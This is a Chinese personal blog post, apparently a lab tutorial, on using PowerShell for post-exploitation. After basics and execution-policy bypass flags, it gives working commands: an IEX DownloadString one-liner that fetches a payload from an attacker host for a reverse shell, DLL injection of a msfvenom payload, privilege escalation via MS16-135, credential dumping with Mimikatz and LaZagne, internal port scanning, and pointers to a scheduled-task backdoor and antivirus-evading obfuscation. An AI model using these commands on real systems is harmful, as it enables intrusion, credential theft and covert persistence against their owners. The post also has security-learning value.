tkcharlotte's blog

菜鸡的自我救赎之路 :)

0x01 预备知识

基本规则&查看帮助

PowerShell的每个命令都遵循谓词-名词的标准,例如GET-Process.

-为标准参数分隔符,每个参数前面始终带-Get-Command -Name Clear-Host

Get-Command -Name 命令名 可以查看该命令的用法

Get-Command 获取帮助

命令后跟上-? 可查看详细的用法说明 例Get-Command -?

PowerShell中也支持一些常见的cmd命令或者是shell命令。

常用操作
  • Get-Host 查看版本信息

  • Clear-Host 清空输出窗口

  • New-Item 1.txt -type file [-force] -force将覆盖原有的同名文件。

  • Get-Content 获取文件内容,直接输出到控制台上。

  • Out-File 重定向,写文件(类似于linux中的>) ,常配合管道使用

例,将当前正在运行进程名写入到`process.txt`

  • Write-Output 配合管道使用,为最后一个命令时输出到控制台中。

  • 下载文件到本地

使用.NET中提供的System.Net.WebClient

1
2
3
4
5
6
7
8
$url = "http://127.0.0.1/1.exe"
$end_flag = "download finish!"
$local_file = "rec.exe"
Write-Output "start to download"

#public void DownloadFile (Uri address, string fileName); filename: local file to receive remote file
(New-Object System.Net.WebClient).DownloadFile($url,$local_file)
Write-Output $end_flag
  • Invike-Exppession 把字符串当作命令执行,返回执行结果。IEX是它的别名。
1
2
$command = 'Get-Process'
IEX($command)|Write-Output
![](https://boombao.oss-cn-beijing.aliyuncs.com/20190911173727.png)
执行策略

对脚本运行做的一种限制措施,在不同的场景中采取不同的策略来防止执行恶意代码。

由六种执行策略,分别是RESTRICTED ALLSIGNED REMOTESIGNED UNRESTRICTED BYPASS UNDEFINED,默认情况下为RESTRICTED

RESTRICTED

  • 默认执行策略
  • 阻止所有脚本运行
  • Windows 8、Windows Server 2012 和 Windows 8.1 中的默认执行策略

ALLSIGNED

  • 可以运行由受信任机构发布的签名的脚本

  • Set-AuthenticodeSignature 命令可以给脚本签名,以本地PFX文件签名为例,详细的签名过程可以戳这里

    1
    2
    $cert = Get-PfxCertificate -FilePath C:\Test\Mysign.pfx
    Set-AuthenticodeSignature -FilePath ServerProps.ps1 -Certificate $cert

REMOTESIGNED

  • server 2012 R2默认策略
  • 远程加载脚本时仍需要签名,本地不需要。
  • 有一定的安全风险。

UNRESTRICTED

  • 未签名的脚本可以运行
  • 远程加载脚本时会有安全提示。

BYPASS

  • 没有任何限制与提示。

UNDEFINED

  • 没有设置安全策略,此时会使用默认安全策略。

查看当前执行策略 Get-ExecutionPolicy

查看当前用户执行策略 Get-ExecutionPolicy -Scope CurrentUser

使用Set-ExecutionPolicy -ExecutionPolicy PolicyName改变执行策略。

修改完毕后有时候会提示你未修改成功,因为有更细化的执行策略,所以保留当前策略,可以使用Get-ExecutionPolicy -List 查看优先级。

绕过执行策略执行脚本
  • powershell.exe -ExecutionPolicy Bypass -File ..\demo.ps1

  • powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -File ..\demo.ps1

  • 远程下载文件到服务器上运行

    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NoProfile -File ..\demo.ps1

  • …..

0x02最简单的场景

假设我们现在拿到一个webshell,要反弹一个shell回来,直接使用PowerShell加载shellcode,在终端中下载并运行该脚本,metasploit能够接收到反弹回来的shell

ps: 本文尽量使用powershell作为攻击手段 (主角光环

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.30.166:8000/payload.ps1')"

得到一个meterpreter后加载powershell插件,进入powershell界面。

测试的时候发现通过该方式得到的meterpreter很不稳定,经常崩溃导致shell丢失,所以要重新获得一个shell.

使用dll注入的方式得到一个shell,msfvenom生成dll,同时监听相应端口接收反弹回来的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
PS > IEX (New-Object Net.WebClient).DownloadString('http://192.168.30.166/CodeExecution/Invoke-DllInjection.ps1')
PS > start-process c:\windows\system32\notepad.exe -Windowstyle Hidden
PS > get-process notepad

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
- 86 9 1864 6280 79 0.11 10200 notepad


PS > Invoke-DllInjection -ProcessID 10200 -dll C:\Users\admin\Desktop\paylod.dll

Size(K) ModuleName FileName
------- ---------- --------
20 paylod.dll C:\Users\admin\Desktop\paylod.dll

尝试提权,使用增强版的Invoke-ReflectivePEInjection.ps1,可以远程加载exe在内存中运行,做到攻击不落地,实际中尝试多次均失败…

使用msf自带的exploit-suggester检测一下系统存在的提权漏洞

1
2
3
4
5
6
7
8
9
10
11
12
msf5 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits

msf5 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf5 post(multi/recon/local_exploit_suggester) > exploit

我本地虚拟机没打补丁,所以存在很多漏洞…

也可以用Sherlock.ps1 ,powershell实现的相同功能的脚本,后者更加详细准确一些。

地址:https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1

使用MS16-135提权 脚本地址https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135

有了权限,下一步抓取hash,使用Invoke-Mimikatz.ps1

进一步信息收集,上lazagne https://github.com/AlessandroZ/LaZagne,查看可能存在的密码啥的。

扫描一下内网存活主机以及开放端口

使用Invoke-Portscan.ps1,扫描速度与精度还算可以吧,还是稍微有点误差..

IEX (New-Object Net.WebClient).DownloadString('http://192.168.30.166/Recon/Invoke-Portscan.ps1')

Invoke-Portscan -Hosts 192.168.30.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | out-file port_result.txt

cat port_result.txt

可以发现其他存活主机,然后继续横向渗透,因为本地并没有域环境,本次就到此为止,后续域渗透时再补上powershell在域渗透中的应用。

最后留个后门,清理下痕迹走人。https://github.com/re4lity/Schtasks-Backdoor

随着powershell在渗透测试中使用的越来越频繁,相关的防护软件都注意到这一点,所以需要做一些混淆来绕过杀软。

推荐danielbohannon大佬写的混淆框架:https://github.com/danielbohannon/Invoke-Obfuscation

还有作者写的使用教程:https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide

也可以直接使用Empire后渗透框架来完成渗透流程。

0x03 姿势&工具

0x04参考链接

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/?view=powershell-6

https://lesca.me/archives/powershell-tutorial-basics.html

https://www.cnblogs.com/sparkdev/p/7460518.html

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression

https://jkme.github.io/powershell-elf.html

https://www.hackingarticles.in/window-privilege-escalation-via-automated-script/

https://www.freebuf.com/sectool/131393.html

http://byd.dropsec.xyz/2019/03/27/Linux%E3%80%81Windows%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%B8%B8%E7%94%A8%E5%90%8E%E9%97%A8%E6%80%BB%E7%BB%932/

 评论


载入天数...载入时分秒... | 字数统计:14.4k